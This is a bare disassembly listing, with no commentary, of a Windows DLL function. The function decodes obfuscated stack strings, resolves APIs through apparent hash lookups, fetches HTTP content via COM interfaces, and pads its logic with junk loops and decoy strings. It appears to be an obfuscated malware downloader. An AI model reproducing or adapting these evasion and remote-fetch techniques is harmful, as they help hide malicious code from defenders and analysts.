imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xc
jge 0x100265bf
push ecx
push 0x2ff9
mov dl, 1
call fcn.10024cee
pop ecx
pop ecx
push 0x34
pop eax
push 2
mov ecx, ebx
mov word [ebp - 0x158], 0x711d
mov byte [ebp - 0x156], 0xc
mov byte [ebp - 0x155], bl
mov dword [ebp - 0x154], 0x6b0e721e
mov dword [ebp - 0x150], 0x7d246823
mov byte [ebp - 0x14c], 7
mov byte [ebp - 0x14b], bl
mov dword [ebp - 0x14a], 0x6100f1f
mov dword [ebp - 0x146], 0x7a20721b
mov dword [ebp - 0x142], 0x1117c01
mov dword [ebp - 0x13e], 0x1f126918
mov word [ebp - 0x13a], 0x206
mov byte [ebp - 0x138], 0x1a
mov byte [ebp - 0x137], bl
mov byte [ebp - 0x136], 0x1c
mov byte [ebp - 0x135], bl
mov dword [ebp - 0x134], 0x8140115
mov dword [ebp - 0x130], 0x1b130f21
mov dword [ebp - 0x12c], 0x1221503
mov dword [ebp - 0x128], 0x7508080f
mov dword [ebp - 0x124], 0x75167017
mov dword [ebp - 0x120], 0x419750a
mov dword [ebp - 0x11c], 0x4d255c01
mov dword [ebp - 0x118], 0xa0d4e0b
mov dword [ebp - 0x114], 0x75057d02
mov byte [ebp - 0x110], bl
mov dword [ebp - 0x10f], 0x938044a
mov byte [ebp - 0x10b], 0x6e
mov word [ebp - 0x476], ax
pop esi
mov dword [ebp - 0x16c], ecx
cmp esi, 0x3c
jne 0x100267a2
push 2
pop ecx
mov dword [ebp - 0x16c], ecx
jmp 0x10026800
movzx edx, byte [ebp + esi - 0x157]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x15a]
movzx eax, word [ebp + eax*2 - 0x4b0]
mov ecx, eax
and eax, edx
or ecx, edx
mov dl, 1
sub ecx, eax
movzx eax, byte [ebp + esi - 0x158]
mov word [ebp + eax*2 - 0x4b0], cx
lea eax, [ebp - 0x16c]
push eax
push 1
push 0x696a
push 0x177a
push 0x37e1
xor cl, cl
call fcn.10024c33
mov ecx, dword [ebp - 0x16c]
add esp, 0x14
add esi, 2
cmp esi, 0x4e
jb 0x10026792
xor eax, eax
mov dword [ebp - 0x278], 7
mov word [ebp - 0x464], ax
lea ecx, [ebp - 0x28c]
mov word [ebp - 0x28c], ax
lea eax, [ebp - 0x4b0]
push eax
mov dword [ebp - 0x27c], ebx
call fcn.10014735
mov byte [ebp - 4], 0x12
lea edi, [ebp - 0x4b0]
push 0x13
xor eax, eax
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x40], 0x68ec0ae9
mov dword [ebp - 0x40], 0xffffffef
cmp dword [ebp - 0x40], 0x12
jle 0x100269d1
push 0xfffffffffffffffe
pop esi
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x74], 0x1d1b
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x10026897
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x64], 0xd386
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10026889
mov dword [ebp - 0x18], ebx
jmp 0x100268b0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x64], 0x53bc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x100268a2
mov dword [ebp - 0x18], ebx
jmp 0x100269ba
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x220], esi
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x28]
jl 0x100268d8
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x64]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
cmp eax, 1
mov eax, dword [ebp - 0x74]
setl cl
sub eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x74], ebx
je 0x10026918
cmp dword [ebp - 0x24], ebx
je 0x10026918
xor edx, edx
inc edx
jmp 0x1002691a
mov edx, ebx
mov eax, dword [ebp - 0x15c]
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0x6e289aa5
je 0x1002695a
lea eax, [ebp - 0x220]
mov dword [ebp - 0x21c], esi
push eax
push 0x11ec
push ebx
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x21c]
push eax
push ecx
push ecx
lea edx, [ebp - 0x15c]
lea ecx, [ebp - 0x40]
jmp 0x100269af
push ecx
push 0x57d2
push 1
lea eax, [ebp - 0x57]
mov dword [ebp - 0x208], ebx
push eax
push 0x75ce
push 0x533e
mov edx, 0x1887
mov byte [ebp - 0x57], bl
mov ecx, 0x7f4d
call fcn.10024ebf
add esp, 0x18
lea eax, [ebp - 0x208]
mov edx, 0x3232
push 0x745a
push eax
push 1
push 0x73f4
push 0x6235
push ecx
push ecx
mov ecx, 0xc29
call fcn.100250a2
add esp, 0x1c
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffff
je 0x100268be
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x12
jg 0x10026868
push ecx
xor dl, dl
mov ecx, 0x2168
call fcn.100244f0
pop ecx
push 1
push ecx
lea edx, [ebp - 0x59]
mov byte [ebp - 0x59], bl
call fcn.100252b5
pop ecx
mov dl, 1
call fcn.100252e5
pop ecx
push 0x74
pop eax
push 0x46
mov byte [ebp - 0x103], al
pop eax
push 2
mov dword [ebp - 0x108], 0x7621221e
mov byte [ebp - 0x104], 0x11
mov dword [ebp - 0x102], 0x73147507
mov word [ebp - 0xfe], 0x7115
mov byte [ebp - 0xfc], 0xd
mov byte [ebp - 0xfb], bl
mov dword [ebp - 0xfa], 0x9040319
mov byte [ebp - 0xf6], 0x1f
mov byte [ebp - 0xf5], bl
mov word [ebp - 0xf4], 0x140e
mov byte [ebp - 0xf2], 0x13
mov byte [ebp - 0xf1], bl
mov byte [ebp - 0xf0], 0x18
mov byte [ebp - 0xef], bl
mov dword [ebp - 0xee], 0xd201924
mov dword [ebp - 0xea], 0x751b0f02
mov dword [ebp - 0xe6], 0x70c7305
mov dword [ebp - 0xe2], 0x41a031d
mov dword [ebp - 0xde], 0x7b0a7223
mov dword [ebp - 0xda], 0x77170b16
mov dword [ebp - 0xd6], 0x7210060b
mov dword [ebp - 0xd2], 0x750f7503
mov byte [ebp - 0xce], bl
mov dword [ebp - 0xcd], 0x93d014a
mov dword [ebp - 0xc9], 0x81d1c6b
mov dword [ebp - 0xc5], 0x25700606
mov dword [ebp - 0xc1], 0x224e123b
mov byte [ebp - 0xbd], 0x71
mov word [ebp - 0x424], ax
pop esi
movzx eax, byte [ebp + esi - 0x10a]
movzx ecx, byte [ebp + esi - 0x107]
movzx eax, word [ebp + eax*2 - 0x460]
mov edx, eax
and eax, ecx
or edx, ecx
sub edx, eax
movzx eax, byte [ebp + esi - 0x108]
add esi, 2
mov word [ebp + eax*2 - 0x460], dx
cmp esi, 0x4c
jb 0x10026afc
xor eax, eax
mov dword [ebp - 0x260], 7
mov word [ebp - 0x414], ax
lea ecx, [ebp - 0x274]
mov word [ebp - 0x274], ax
lea eax, [ebp - 0x460]
push eax
mov dword [ebp - 0x264], ebx
call fcn.10014735
push 0x13
pop ecx
xor eax, eax
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x278], 8
lea edi, [ebp - 0x460]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x380]
mov esi, 0x7a2f
push ecx
stosw word es:[edi], ax
lea eax, [ebp - 0x28c]
cmovae eax, dword [ebp - 0x28c]
mov edi, 0x8f1d
push eax
push esi
push edi
call fcn.10011306
pop ecx
pop ecx
call eax
test eax, eax
jne 0x100270cf
cmp dword [ebp - 0x260], 8
lea ecx, [ebp - 0x35c]
push ecx
lea eax, [ebp - 0x274]
cmovae eax, dword [ebp - 0x274]
push eax
push esi
push edi
call fcn.10011306
pop ecx
pop ecx
call eax
test eax, eax
jne 0x100270cf
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x380]
push eax
push 3
push ebx
lea eax, [ebp - 0x35c]
push eax
push esi
push 0xa40b
call fcn.10011306
pop ecx
pop ecx
call eax
test eax, eax
js 0x100270cf
cmp dword [ebp - 0x48], 0
je 0x100270cf
push 0x6b52
push 1
push 1
lea eax, [ebp - 0x330]
mov edx, 0x17a5
push eax
push 1
mov ecx, 0xa8c
call fcn.10025460
add esp, 0x14
mov dword [ebp - 0x70], 0x1101e002
xor eax, eax
mov byte [ebp - 0x6c], bl
mov word [ebp - 0x328], ax
mov ecx, ebx
mov dword [ebp - 0x6b], 0x30960222
push 0x74
pop eax
push 2
mov word [ebp - 0x18c], ax
pop esi
mov dword [ebp - 0x178], ecx
cmp esi, 6
jne 0x10026c7d
push 3
pop ecx
push 7
mov dword [ebp - 0x178], ecx
pop esi
jmp 0x10026cc0
movzx edx, byte [ebp + esi - 0x6f]
lea eax, [ebp - 0x70]
sub eax, ecx
movzx eax, byte [eax + esi - 2]
movzx ecx, word [ebp + eax*2 - 0x190]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x70]
add ecx, edx
mov dl, 1
push ecx
mov word [ebp + eax*2 - 0x190], cx
lea ecx, [ebp - 0x178]
call fcn.100244f0
pop ecx
mov ecx, dword [ebp - 0x178]
add esi, 2
cmp esi, 9
jb 0x10026c6a
xor eax, eax
mov dword [ebp - 0x1d0], 7
mov word [ebp - 0x18a], ax
lea ecx, [ebp - 0x1e4]
mov word [ebp - 0x1e4], ax
lea eax, [ebp - 0x190]
push eax
mov dword [ebp - 0x1d4], ebx
call fcn.10014735
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1e4]
cmp dword [ebp - 0x1d0], 8
mov eax, dword [ebp - 0x1d4]
cmovae ecx, dword [ebp - 0x1e4]
push dword [ebp - 0x7c]
mov dword [ebp - 0x190], ebx
mov dword [ebp - 0x18c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x22c], ebx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x228], ebx
cmovae ecx, dword [ebp - 0x1e4]
push eax
push ecx
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x224], ebx
call fcn.10027bf3
lea eax, [ebp - 0x22c]
mov byte [ebp - 4], 0x15
push eax
push ebx
push ecx
mov cl, 1
call fcn.1002480a
mov edx, dword [ebp - 0x78]
add esp, 0xc
cmp dword [edx + 0x14], 8
jb 0x10026d7a
mov ecx, dword [edx]
jmp 0x10026d7c
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x10026d8a
mov edx, dword [edx]
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x1f0], ebx
push eax
push edx
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], ebx
call fcn.10027bf3
push ebx
lea eax, [ebp - 0x1f0]
mov byte [ebp - 4], 0x16
push 1
push eax
mov dl, 1
mov ecx, 0x2511
call fcn.100249e9
mov eax, dword [ebp - 0x48]
lea esi, [ebp - 0x300]
cmp dword [ebp - 0x1d0], 8
lea edx, [ebp - 0x1e4]
cmovae edx, dword [ebp - 0x1e4]
mov ecx, dword [eax]
push ecx
mov edi, esp
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x300]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x330]
push dword [ebp - 0x1f0]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10027096
mov esi, dword [ebp - 0x1b0]
mov cl, 1
mov dword [ebp - 0x184], ebx
cmp esi, dword [ebp - 0x1ac]
je 0x10026e7d
add esi, 0x18
test cl, cl
je 0x10026e65
cmp dword [esi + 0x14], 8
jb 0x10026e44
mov edi, dword [esi]
jmp 0x10026e46
mov edi, esi
cmp dword [esi - 4], 8
jb 0x10026e51
mov edx, dword [esi - 0x18]
jmp 0x10026e54
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x48]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10026e67
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1ac]
jne 0x10026e36
test cl, cl
je 0x10027096
mov eax, dword [ebp - 0x48]
lea esi, [ebp - 0x300]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10027096
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x184]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10027096
cmp dword [ebp - 0x184], 0x130
je 0x10026ed1
cmp dword [ebp - 0x184], 0xc8
jne 0x10027096
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x370]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10027096
mov ecx, dword [ebp - 0x368]
mov dword [ebp - 0x174], ecx
test ecx, ecx
je 0x10027096
mov eax, dword [ecx]
lea edx, [ebp - 0x4f8]
push 1
push edx
push ecx
call dword [eax + 0x30]
test eax, eax
js 0x1002706f
mov esi, dword [ebp - 0x4f0]
lea ecx, [ebp - 0x52]
mov eax, dword [ebp - 0x19c]
push ecx
push esi
push eax
mov dword [ebp - 0x198], eax
lea ecx, [ebp - 0x19c]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x24], esi
push eax
mov dword [ebp - 0x1b4], esi
mov byte [ebp - 0x52], bl
call fcn.10027672
mov dword [ebp - 0x20], 0x51ac
cmp dword [ebp - 0x20], 0x53b2
mov dword [ebp - 0x4c], esi
jle 0x10026fa5
mov edi, ebx
mov esi, ebx
mov ebx, 0x68f8
mov eax, esi
mov ecx, 0x10072098
cdq
push edx
push eax
call fcn.10013ec4
add esi, edi
dec ebx
jne 0x10026f66
inc edi
cmp edi, 0x211b
jl 0x10026f5f
push ebx
push 0x1d30
push 0x16b9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov esi, dword [ebp - 0x24]
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x20], 0x4f73
mov dword [ebp - 0x160], ebx
jge 0x10026fe8
mov edx, str.vqtx_dovr_hwoq_ymrdhp_yrk
mov ecx, 0x10072098
call fcn.1001684d
jmp 0x10026fe8
mov dword [ebp - 4], 0x16
mov eax, ebx
mov edi, dword [ebp - 0x174]
mov ebx, dword [ebp - 0x19c]
mov dword [ebp - 0x188], eax
mov ecx, dword [edi]
lea edx, [ebp - 0x160]
push edx
push esi
add eax, ebx
push eax
push edi
call dword [ecx + 0xc]
test eax, eax
js 0x1002704a
lea eax, [ebp - 0x188]
push eax
push ecx
push ecx
push 1
lea edx, [ebp - 0x160]
mov ecx, 0x4d58
call fcn.100255b7
sub esi, dword [ebp - 0x160]
add esp, 0x10
mov eax, dword [ebp - 0x188]
cmp eax, dword [ebp - 0x1b4]
jb 0x10027003
lea eax, [ebp - 0x1b4]
xor ebx, ebx
push eax
push ebx
push 0x3ce9
lea eax, [ebp - 0x19c]
push eax
push ecx
lea ecx, [ebp - 0x188]
call fcn.1002465b
add esp, 0x14
push 0x197e
push ebx
push ebx
push 0x138b
push 1
lea edx, [ebp - 0x174]
mov ecx, 0x7469
call fcn.10025460
add esp, 0x14
mov dword [ebp - 0x174], ebx
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x48], ebx
call fcn.10023d05
lea ecx, [ebp - 0x22c]
call fcn.10023d05
push ebx
push 1
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x13
call fcn.100147bd
mov esi, 0x7a2f
push esi
push 0xb57c
call fcn.10011306
pop ecx
pop ecx
call eax
mov dword [ebp - 0x20], 0x30ed
cmp dword [ebp - 0x20], 0x31a3
jle 0x10027115
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10072098
xor eax, esi
cdq
push edx
push eax
call fcn.10013ec4
inc edi
cmp edi, 0x328b
jl 0x100270f2
inc esi
cmp esi, 0x59bb
jl 0x100270f0
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x20], 0x307e
jge 0x1002714f
mov edx, str.bkvadhho_gdzuohx_bpdcetp_piq_xcdga_yzdcted_tiizbymgm_tzm_snekhssq_bdiazksc
mov ecx, 0x10072098
call fcn.1001684d
jmp 0x1002714f
mov dword [ebp - 4], 0x13
mov eax, 0x2d5e48d3
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], eax
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x2bc], ebx
mov dword [ebp - 0x2b8], ebx
mov dword [ebp - 0x2b4], ebx
mov dword [ebp - 0x2b0], ebx
mov dword [ebp - 0x7c], 0x1eb2391c
mov dword [ebp - 0x14], ebx
jmp 0x100271a8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x388], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10027197
mov dword [ebp - 0x200], ebx
jmp 0x100271f0
lea eax, [ebp - 0x1b8]
mov dword [ebp - 0x1b8], ebx
push eax
push 1
push ebx
push 0x734f
mov dword [ebp - 0x24], 0xf5f49900
lea ecx, [ebp - 0x7c]
push 1
mov edx, 0x403e
call fcn.10025460
mov eax, dword [ebp - 0x1b8]
add esp, 0x14
inc dword [ebp - 0x200]
cmp dword [ebp - 0x200], 0xc
jg 0x100271b6
mov ecx, dword [ebp - 0x24c]
lea eax, [ebp - 0x19c]
push eax
call fcn.100273fc
push ebx
push 1
lea ecx, [ebp - 0x274]
call fcn.100147bd
push ebx
push 1
lea ecx, [ebp - 0x28c]
call fcn.100147bd
lea ecx, [ebp - 0x1b0]
call fcn.10027506
lea ecx, [ebp - 0x19c]
call fcn.10027581
lea ecx, [ebp + 8]
call fcn.10027506
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret